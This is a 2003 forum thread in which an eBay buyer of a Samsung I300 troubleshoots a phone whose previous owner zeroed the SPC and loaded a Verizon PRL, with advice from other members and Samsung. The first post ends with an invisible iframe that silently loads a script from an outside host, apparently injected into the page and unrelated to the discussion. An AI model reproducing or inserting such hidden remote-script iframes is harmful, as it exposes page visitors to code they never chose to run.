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Thread: SPC Number

  1. #1
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    SPC Number

    The I300 I bought has the SPC Number (the number defining what service - Sprint PCS - that it can use) set to all zeros by the previous owner. He was trying to use the phone on another network.

    I have not yet attempted to activate the phone with Sprint. Am I going to have problems doing this because the SPC is all zeros? If yes, does anyone know how to change the number and what it should be?

    I did a search and found this thread: http://sphi300.com/showthread.php?s=...&highlight=SPC
    It helped some, but I'm still slightly confused. Would I be right to assume that I will not be able to change it without my phone's unique lock code (provided by Sprint)?

    Thanks,

    Andrew<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
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    Arrow

    when you call to activate the phone, they will give you the MSL to override anything anyone could have done. should not have a problem...

  3. #3
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    Thanks Marc.

  4. #4
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    Follow up

    Follow up:

    I just spent two hours on the phone with Sprint and have run into some major problems.

    First of all, the phone doesn't see any service, even though I have service on my other PCS phone right next to it.

    After hours of talking to idiots I finally got on the phone with a palm phone technical specialist who seemed to know what he was talking about. He told me that there was nothing they could do and that the phone is worthless.

    Does anyone have any ideas? I tried a hard reset. The Sprint guy refused to help because he said that the phone has been "hacked" and that all warrantees were voided.

    Any ideas on how I can resolve this issue or change the SPC number back to what it should be?

    Thanks so much!

    Andrew

  5. #5
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    If the previous owner was able to "reset" this "SPC" number then he must have had access to the highest level MSL code.

    I assume:
    1. you've asked the ex-owner for any codes he used?
    2. if he didnt do it, you asked them who messed with the phone?
    3. you cannot return the phone since it is used?
    4. how old is the phone? If its still under the 1 year warranty you might work that route. However, if you bought it used I'm guessing its out of warranty.


    Other far fetched route:
    1. find a near by sprint retail store with the i300 service cables and see if you can it "upgraded". Meaning, they'll do a possible firmware flash/prl update... the flash procedures might restore some of the missing settings?

    Marc, that sound far fetched?

  6. #6
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    definatley worth a try pre...

    do you have the equipment insurance replacement with sprint? if so, use that. if not, get it now!

    so let me get this straight...


    when they gave you the code to get into the system to change the phone numbers, etc. the phone still didnt work?

    did they give you 2 different codes to unlock the phone? the first code is for that specific phone; the second code if the first one doesnt work is the master lock code that is supposed to override any previous codes.

    where did you get the phone, off ebay? if so, how many phones did he sell and/or how is his feedback? speak with him if at al possible and see if he can shed some light on the situation. phone sprint to see if they can get any info on the esn you have (see if it was lost or stolen, etc..)

    can you use the palm side?

  7. #7
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    Another follow up:

    I just returned from a 3 hour journey into a Sprint repair shop. They informed me that whoever the previous owner was completely messed up the PRL, so, of course, they tried to load a new PRL on.

    That didn't work. They told me that the new PRL wouldn't take and they didn't know what to tell me. They said that normally they would just replace the phone, but because I am not the orginal owner they would not do that in this case.

    When I called last night they tried using both codes and neither worked. That's why I was in the store today.

    I did get it off ebay and have been talking to the previous owner. He is being pretty tight lipped and won't tell me much. All he will tell me is that he set the SPC to all zeros attempting to use the phone on another network. His feedback rating is good (102 positive and 1 negative - and the negative is for something that he bought, not sold). He does have a few other phones he's sold/selling, which I know is a bad sign, but not a whole lot of them. He's not a wholesaler.

    Right now the phone is on my account, it just can't find any service because (according to Sprint) the PRL is messed up. I would get the equiptment replacement plan, but it's my understanding that they have to call your phone, which is not possible at the moment. In any case, I'm not interested in scamming anyone (even Sprint). I just want it to work.

    Oh, and yes, the Palm side works great. The phone side works, it just doesn't see service.

    I guess I'm **** out of luck, but if you have any suggestions I'm totally open to them.

    I'm going to call Sprint right now and have them check on the ESN to see if it has a history. I don't think so though, because I was able to put it on my plan. But, it's worth a try.

    Andrew
    Last edited by AmplusMedia; 01-15-2003 at 02:37 PM.

  8. #8
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    Wow. Tough luck. Sounds like you tried just about all avenues short of returning the thing.

    The only thing that will probably save your phone now is an entire flash rom erase and re-load... and that I think is something only Samsung factory can do (unless someone at Sprint has the cables, software, and FULL rom images).

    Best of luck...

  9. #9
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    Prelusion,

    I took your advise and contacted Samsung. I was very surprised at how quickly they returned my e-mail and how willing they were to help (I've e-mailed Sprint many times about many different things and have NEVER once recieved a responce).

    Anyway, we went back and forth for a while explaining the problem. They asked me for version information which was as follows:

    S/W Version
    S:I300.01S.UJ12
    (PDA:0110:1200)
    P:SPRL50038
    H/W Version
    H:I300.03.S.QO

    They responded saying that my PRL is "most unusual to be from Sprint" and "this type of PRL is normally reserved for Verizon phones." I assume that (from the information above) 50038 is a Verizon PRL.

    They told me to go back to Sprint and ask them to load PRL 10017 on to the phone. I'll let you all know if it works and my hope is that by posting this it may help someone else out with problems.

    Thanks,

    Andrew

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